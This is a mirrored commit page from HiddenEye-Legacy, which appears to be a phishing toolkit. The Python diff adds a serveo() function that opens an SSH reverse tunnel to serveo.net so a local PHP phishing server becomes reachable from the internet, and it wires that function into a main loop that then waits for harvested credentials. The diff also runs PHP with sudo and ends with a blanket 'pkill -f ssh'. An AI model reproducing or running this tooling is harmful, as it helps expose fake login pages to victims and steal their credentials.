mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
added serveo (ssh tunneling) (#74)
This commit is contained in:
parent
b42d2d3691
commit
f53c2c260d
|
@ -284,9 +284,34 @@ def runNgrok():
|
|||
url = open('ngrok.url', 'r')
|
||||
print("\n {0}[{1}*{0}]{1} Ngrok URL: {2}".format(CYAN, END, GREEN) + url.read() + "{1}".format(CYAN, END, GREEN))
|
||||
url.close()
|
||||
|
||||
def serveo():
|
||||
system('ssh -R 80:localhost:1111 serveo.net > sendlink.txt 2> /dev/null & ')
|
||||
sleep(4)
|
||||
f = open('sendlink.txt', 'r')
|
||||
a = ['[32m', 'Forwarding', 'HTTP', 'traffic', 'from', '[0m', ' ']
|
||||
lst = []
|
||||
for line in f:
|
||||
for word in a:
|
||||
if word in line:
|
||||
line = line.replace(word,'')
|
||||
lst.append(line)
|
||||
f.close()
|
||||
f = open('sendlink.txt','w')
|
||||
for line in lst:
|
||||
f.write(line)
|
||||
f.close()
|
||||
url = open('sendlink.txt', 'r')
|
||||
print("\n {0}[{1}*{0}]{1} SERVEO URL: {2}".format(CYAN, END, GREEN) + url.read() + "{1}".format(CYAN, END, GREEN))
|
||||
url.close()
|
||||
system('rm sendlink.txt')
|
||||
|
||||
def runServer():
|
||||
system("cd Server/www/ && php -S 127.0.0.1:1111")
|
||||
|
||||
system("cd Server/www/ && sudo php -n -S 127.0.0.1:1111 > /dev/null 2>&1 &")
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
@ -294,6 +319,7 @@ if __name__ == "__main__":
|
|||
try:
|
||||
runPEnv()
|
||||
runNgrok()
|
||||
serveo()
|
||||
multiprocessing.Process(target=runServer).start()
|
||||
waitCreds()
|
||||
|
||||
|
@ -302,5 +328,6 @@ if __name__ == "__main__":
|
|||
|
||||
except KeyboardInterrupt:
|
||||
system('pkill -f ngrok')
|
||||
system('pkill -f ssh')
|
||||
end()
|
||||
exit(0)
|
||||
|
|
Loading…
Reference in New Issue
Block a user